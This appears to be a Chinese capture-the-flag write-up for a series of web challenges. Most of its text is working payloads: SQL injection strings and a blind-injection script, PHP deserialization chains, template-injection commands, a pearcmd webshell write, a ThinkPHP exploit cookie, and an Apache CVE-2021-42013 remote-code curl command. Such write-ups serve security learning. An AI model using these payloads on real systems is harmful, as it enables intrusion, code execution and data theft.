HTTP
跟着提示一步一步走。
Head?Header!
同样是跟着提示。
NotPHP
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
}
我真的会谢
robots.txt
在主页源码中已经提示vim出错,所以在.index.php.swp
最后一个在www.zip中
Word-For-You
' or '1'='1
Word-For-You(2 Gen)
测试后发现会报错,尝试报错注入成功。
爆库information_schema,mysql,performance_schema,wfy:
name='and+updatexml(1,substr(concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),40,20),1)#
爆表wfy_admin,wfy_comments,wfy_info:
name='and+updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="wfy")),0x7e),1)#
爆列:wfy_comments列:id,text,user,name,display
name='and+updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),0x7e),1)#
flag:
name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),150,30),1)#
name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),160,30),1)#
IncludeOne
<?php
mt_srand(1145146);
mt_rand();
echo mt_rand();
//?file=php://filter/NewStar/read=string.rot13/resource=flag.php
//guess=1202031004
UnserializeOne
链子很好构造,没啥可说的:
Start:__destruct => Sec:__toString => Easy:__call => eeee:__clone => Start:__isset => sec:__invoke
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke() //尝试以调用函数的方式调用一个对象
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var) //调用一个对象中不存在的方法
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
payload:
<?php
highlight_file(__FILE__);
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$start=new Start();
$sec=new Sec();
$easy=new Easy();
$sec->obj=$easy;
$eeee=new eeee();
$eeee->obj=$start;
$sec->var=$eeee;
$start->name=$sec;
$start->func=$sec;
echo urlencode(serialize($start));
ezAPI
知识点:graphQL的内省查询,和graphQL基本query构造
知识点
渗透测试之graphQL
30分钟理解GraphQL核心概念
当CTF遇上GraphQL的那些事
分析
先简单介绍一下什么是graphQL:
graphQL就像一个客户端和服务端一个桥梁,是一个API查询语言。
GraphQL的Type的可以分两种,一种叫做Scalar Type(标量类型),另一种叫做Object Type(对象类型),前者就像对象里的属性,后者就像一个数组,数组里可以有很多变量,也可以有数组,这样无限递归下去,例如:
下面是一个查询语句,articles 就像一个数组,id为属性,articles里又套了一个数组,那么我们从客户端把查询语句发过去,服务端怎么处理,这边就要提一个概念:Resolver(解析函数)。在graphQL种,Resolver和query是对应的,其他的都是一一对应的,比如,articles会被articles的Resolver获取并解析。
Query {
articles {
id
author {
name
}
comments {
id
desc
author
}
}
}
这段是发送post请求,且里面有个类似api的调用的网址,告诉我们是graphql。
传两个参数,id必须为数字,data为json格式,传到send函数里,作为content,打包一下发到对应的接口。
下面可以用一个payload来查一下有哪些对象和字段:
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
知道了名字
{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}
BabySSTI_One
过滤的不多,cat不能用可以用nl
?name={%print lipsum.__globals__.__builtins__.__import__('os').popen('nl /f*').read()%}
multiSQL
fuzz一下,没被过滤的:
length
Length
+
handler
like
LiKe
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
right
#
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
length
+
REVERSE
ascii
ASSIC
ASSic
database
left
right
"
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SET
TABLE
THEN
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
order
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SET
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`
,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20
过滤了select可以使用预查询
想了解的可看以前的一道题:https://blog.csdn.net/shinygod/article/details/126909360
username=admin';set @a = 0x7570646174652073636f726520736574206c697374656e203d2031353020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#
IncludeTwo
用burpsuit 传,用hackbar 传会有错。
想详细了解的,可以看:p神的
GET: /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/tmp/hello.php
#在hello.php文件中RCE
GET: /index.php?&file=/tmp/hello
POST: 1=system('cat /f*');
Maybe You Have To think More
根据报错页面我们可以看到ThinkPHP 的版本是 5.1.x 系列的,那么这个系列是有反序列化漏洞的,原理这边就不多赘述,想详细了解的可以看一下我专门写的一篇文章:Thinkphp5.1.x反序列化漏洞复现
payload:
cookie:
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJzaGVsbCI7YToxOntpOjA7czo0OiJjYWxsIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToic2hlbGwiO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19
get:
?a=env
Give me your photo PLZ
利用 .htaccess 文件解析
上传一个图片
在传一个 .htaccess
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
Unsafe Apache
cve:https://vulhub.org/#/environments/httpd/CVE-2021-42013/
可以看到 web 服务器是apache 2.4.50,且这个版本是有可以直接rce的洞的 。
curl -v --data "echo;ls" 'http://node4.buuoj.cn:26509/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
BabySSTI_Three
unicode 编码绕过
/?name={{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u006d\u0072\u006f\u005f\u005f'][1]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}
Final round
先fuzz 一下,过滤的不多。
Length
+
handler
like
LiKe
select
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
select
SELECT
insert
insERT
INSERT
right
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
+
REVERSE
ascii
ASSIC
ASSic
database
left
right
union
UNIon
UNION
"
&
&&
||
oorr
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
`
,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20
时间盲注
import requests
import time
url = "http://19a9478f-cf03-43c6-ab24-4af233a41576.node4.buuoj.cn:81/comments.php"
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while (head < tail):
time.sleep(0.1)
mid = head + tail >> 1
payload = '100&&if(ascii(mid((select(group_concat(text))from(wfy.wfy_comments)where(id=100)),%d,1))>%d,sleep(2),0)' % (i, mid)
data = {
'name':payload,
}
time1 = time.time()
r = requests.post(url=url,data=data)
time2 = time.time()
if (time2-time1) > 2:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(ascii(name))
else:
continue